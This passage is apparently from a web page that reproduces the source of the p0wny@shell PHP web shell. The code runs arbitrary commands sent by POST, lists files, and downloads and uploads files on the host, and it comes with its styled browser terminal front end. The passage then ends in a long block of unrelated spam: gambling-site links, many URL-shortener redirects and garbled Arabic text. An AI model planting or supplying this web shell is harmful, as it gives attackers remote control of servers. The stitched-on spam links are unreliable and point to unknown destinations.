} elseif (preg_match(“/^\s*cd\s+(.+)\s*(2>&1)?$/”, $cmd)) {
chdir($cwd);
preg_match(“/^\s*cd\s+([^\s]+)\s*(2>&1)?$/”, $cmd, $match);
chdir(expandPath($match[1]));
} elseif (preg_match(“/^\s*download\s+[^\s]+\s*(2>&1)?$/”, $cmd)) {
chdir($cwd);
preg_match(“/^\s*download\s+([^\s]+)\s*(2>&1)?$/”, $cmd, $match);
return featureDownload($match[1]);
} else {
chdir($cwd);
$stdout = executeCommand($cmd);
}
return array(
“stdout” => base64_encode($stdout),
“cwd” => base64_encode(getcwd())
);
}
function featurePwd() {
return array(“cwd” => base64_encode(getcwd()));
}
function featureHint($fileName, $cwd, $type) {
chdir($cwd);
if ($type == ‘cmd’) {
$cmd = “compgen -c $fileName”;
} else {
$cmd = “compgen -f $fileName”;
}
$cmd = “/bin/bash -c \”$cmd\””;
$files = explode(“\n”, shell_exec($cmd));
foreach ($files as &$filename) {
$filename = base64_encode($filename);
}
return array(
‘files’ => $files,
);
}
function featureDownload($filePath) {
$file = @file_get_contents($filePath);
if ($file === FALSE) {
return array(
‘stdout’ => base64_encode(‘File not found / no read permission.’),
‘cwd’ => base64_encode(getcwd())
);
} else {
return array(
‘name’ => base64_encode(basename($filePath)),
‘file’ => base64_encode($file)
);
}
}
function featureUpload($path, $file, $cwd) {
chdir($cwd);
$f = @fopen($path, ‘wb’);
if ($f === FALSE) {
return array(
‘stdout’ => base64_encode(‘Invalid path / no write permission.’),
‘cwd’ => base64_encode(getcwd())
);
} else {
fwrite($f, base64_decode($file));
fclose($f);
return array(
‘stdout’ => base64_encode(‘Done.’),
‘cwd’ => base64_encode(getcwd())
);
}
}
function initShellConfig() {
global $SHELL_CONFIG;
if (isRunningWindows()) {
$username = getenv(‘USERNAME’);
if ($username !== false) {
$SHELL_CONFIG[‘username’] = $username;
}
} else {
$pwuid = posix_getpwuid(posix_geteuid());
if ($pwuid !== false) {
$SHELL_CONFIG[‘username’] = $pwuid[‘name’];
}
}
$hostname = gethostname();
if ($hostname !== false) {
$SHELL_CONFIG[‘hostname’] = $hostname;
}
}
if (isset($_GET[“feature”])) {
$response = NULL;
switch ($_GET[“feature”]) {
case “shell”:
$cmd = $_POST[‘cmd’];
if (!preg_match(‘/2>/’, $cmd)) {
$cmd .= ‘ 2>&1’;
}
$response = featureShell($cmd, $_POST[“cwd”]);
break;
case “pwd”:
$response = featurePwd();
break;
case “hint”:
$response = featureHint($_POST[‘filename’], $_POST[‘cwd’], $_POST[‘type’]);
break;
case ‘upload’:
$response = featureUpload($_POST[‘path’], $_POST[‘file’], $_POST[‘cwd’]);
}
header(“Content-Type: application/json”);
echo json_encode($response);
die();
} else {
initShellConfig();
}
?>
p0wny@shell:~#
html, body {
margin: 0;
padding: 0;
background: #333;
color: #eee;
font-family: monospace;
width: 100vw;
height: 100vh;
overflow: hidden;
}
*::-webkit-scrollbar-track {
border-radius: 8px;
background-color: #353535;
}
*::-webkit-scrollbar {
width: 8px;
height: 8px;
}
*::-webkit-scrollbar-thumb {
border-radius: 8px;
-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
background-color: #bcbcbc;
}
#shell {
background: #222;
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
font-size: 10pt;
display: flex;
flex-direction: column;
align-items: stretch;
max-width: calc(100vw – 2 * var(–shell-margin));
max-height: calc(100vh – 2 * var(–shell-margin));
resize: both;
overflow: hidden;
width: 100%;
height: 100%;
margin: var(–shell-margin) auto;
}
#shell-content {
overflow: auto;
padding: 5px;
white-space: pre-wrap;
flex-grow: 1;
}
#shell-logo {
font-weight: bold;
color: #FF4180;
text-align: center;
}
:root {
–shell-margin: 25px;
}
@media (min-width: 1200px) {
:root {
–shell-margin: 50px !important;
}
}
@media (max-width: 991px),
(max-height: 600px) {
#shell-logo {
font-size: 6px;
margin: -25px 0;
}
:root {
–shell-margin: 0 !important;
}
#shell {
resize: none;
}
}
@media (max-width: 767px) {
#shell-input {
flex-direction: column;
}
}
@media (max-width: 320px) {
#shell-logo {
font-size: 5px;
}
}
.shell-prompt {
font-weight: bold;
color: #75DF0B;
}
.shell-prompt > span {
color: #1BC9E7;
}
#shell-input {
display: flex;
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
border-top: rgba(255, 255, 255, .05) solid 1px;
padding: 10px 0;
}
#shell-input > label {
flex-grow: 0;
display: block;
padding: 0 5px;
height: 30px;
line-height: 30px;
}
#shell-input #shell-cmd {
height: 30px;
line-height: 30px;
border: none;
background: transparent;
color: #eee;
font-family: monospace;
font-size: 10pt;
width: 100%;
align-self: center;
box-sizing: border-box;
}
#shell-input div {
flex-grow: 1;
align-items: stretch;
}
#shell-input input {
outline: none;
}
var SHELL_CONFIG = ;
var CWD = null;
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;
function _insertCommand(command) {
eShellContent.innerHTML += “\n\n”;
eShellContent.innerHTML += ” + genPrompt(CWD) + ‘ ‘;
eShellContent.innerHTML += escapeHtml(command);
eShellContent.innerHTML += “\n”;
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _insertStdout(stdout) {
eShellContent.innerHTML += escapeHtml(stdout);
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _defer(callback) {
setTimeout(callback, 0);
}
function featureShell(command) {
_insertCommand(command);
if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
} else if (/^\s*clear\s*$/.test(command)) {
// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
eShellContent.innerHTML = ”;
} else {
makeRequest(“?feature=shell”, {cmd: command, cwd: CWD}, function (response) {
if (response.hasOwnProperty(‘file’)) {
featureDownload(atob(response.name), response.file)
} else {
_insertStdout(atob(response.stdout));
updateCwd(atob(response.cwd));
}
});
}
}
function featureHint() {
if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
function _requestCallback(data) {
if (data.files.length 3) {
var splittedCwd = cwd.split(“/”);
shortCwd = “…/” + splittedCwd[splittedCwd.length-2] + “/” + splittedCwd[splittedCwd.length-1];
}
return SHELL_CONFIG[“username”] + “@” + SHELL_CONFIG[“hostname”] + “:” + shortCwd + “#”;
}
function updateCwd(cwd) {
if (cwd) {
CWD = cwd;
_updatePrompt();
return;
}
makeRequest(“?feature=pwd”, {}, function(response) {
CWD = atob(response.cwd);
_updatePrompt();
});
}
function escapeHtml(string) {
return string
.replace(/&/g, “&”)
.replace(//g, “>”);
}
function _updatePrompt() {
var eShellPrompt = document.getElementById(“shell-prompt”);
eShellPrompt.innerHTML = genPrompt(CWD);
}
function _onShellCmdKeyDown(event) {
switch (event.key) {
case “Enter”:
featureShell(eShellCmdInput.value);
insertToHistory(eShellCmdInput.value);
eShellCmdInput.value = “”;
break;
case “ArrowUp”:
if (historyPosition > 0) {
historyPosition–;
eShellCmdInput.blur();
eShellCmdInput.value = commandHistory[historyPosition];
_defer(function() {
eShellCmdInput.focus();
});
}
break;
case “ArrowDown”:
if (historyPosition >= commandHistory.length) {
break;
}
historyPosition++;
if (historyPosition === commandHistory.length) {
eShellCmdInput.value = “”;
} else {
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case ‘Tab’:
event.preventDefault();
featureHint();
break;
}
}
function insertToHistory(cmd) {
commandHistory.push(cmd);
historyPosition = commandHistory.length;
}
function makeRequest(url, params, callback) {
function getQueryString() {
var a = [];
for (var key in params) {
if (params.hasOwnProperty(key)) {
a.push(encodeURIComponent(key) + “=” + encodeURIComponent(params[key]));
}
}
return a.join(“&”);
}
var xhr = new XMLHttpRequest();
xhr.open(“POST”, url, true);
xhr.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
try {
var responseJson = JSON.parse(xhr.responseText);
callback(responseJson);
} catch (error) {
alert(“Error while parsing response: ” + error);
}
}
};
xhr.send(getQueryString());
}
document.onclick = function(event) {
event = event || window.event;
var selection = window.getSelection();
var target = event.target || event.srcElement;
if (target.tagName === “SELECT”) {
return;
}
if (!selection.toString()) {
eShellCmdInput.focus();
}
};
window.onload = function() {
eShellCmdInput = document.getElementById(“shell-cmd”);
eShellContent = document.getElementById(“shell-content”);
updateCwd();
eShellCmdInput.focus();
};
___ ____ _ _ _ _ _
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_
| ‘_ \| | | \ \ /\ / / ‘_ \| | | |/ / _` / __| ‘_ \ / _ \ | (_)/\/_ .. _|
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_|
|_| |___/ \____/
???
8starz http://www.888starz-bet1.com .
https://shorturl.fm/EN8F8
https://shorturl.fm/vhvz4
https://shorturl.fm/xNub4
https://shorturl.fm/otSfY
https://shorturl.fm/2980e
888starzuz 888starzuz .
https://shorturl.fm/qszNI
888 starz bet 888 starz bet .
https://shorturl.fm/i9gAR
https://shorturl.fm/kDJjb
https://shorturl.fm/097WW
https://shorturl.fm/KFbLP
https://shorturl.fm/e1q5g
https://shorturl.fm/xOsVf
888 starz تسجيل دخول 888
888 straz 888 straz .
موقع 888starz https://888starz-egyp.com/
star 888 star 888 .
888strz https://888starzeg1.com/
8888 website https://888starz-eg2.org/
888starz казино 888starz казино .
888starz تسجيل الدخول مراهنات 8starz
https://shorturl.fm/6aXED
starz888 starz888 .
https://shorturl.fm/JXuwN
https://shorturl.fm/AxiYO
https://shorturl.fm/QZu3I
wish you all the best
https://shorturl.fm/wAg1z
https://shorturl.fm/4LJkL
https://shorturl.fm/omPba
https://shorturl.fm/zDxgv
https://shorturl.fm/F0ZC2
https://shorturl.fm/muaAh
https://shorturl.fm/EI513
888starz online login https://www.888stars-uz.com .
https://shorturl.fm/FzRUK
https://shorturl.fm/Lv5SB
https://shorturl.fm/AwDbL
https://shorturl.fm/gglAO
ШіШЄШ§Ш±ШІ 888 ШЄШЩ…ЩЉЩ„ https://888starzeg2.com/
888 stars скачать 888 stars скачать .
تنزيل تطبيق 888 برنامج مراهنات 888starz
88starz apk برنامج 888starz
888 https://world-cuisine.com/
https://shorturl.fm/ePMFr
https://shorturl.fm/q95yb
https://shorturl.fm/kJZNN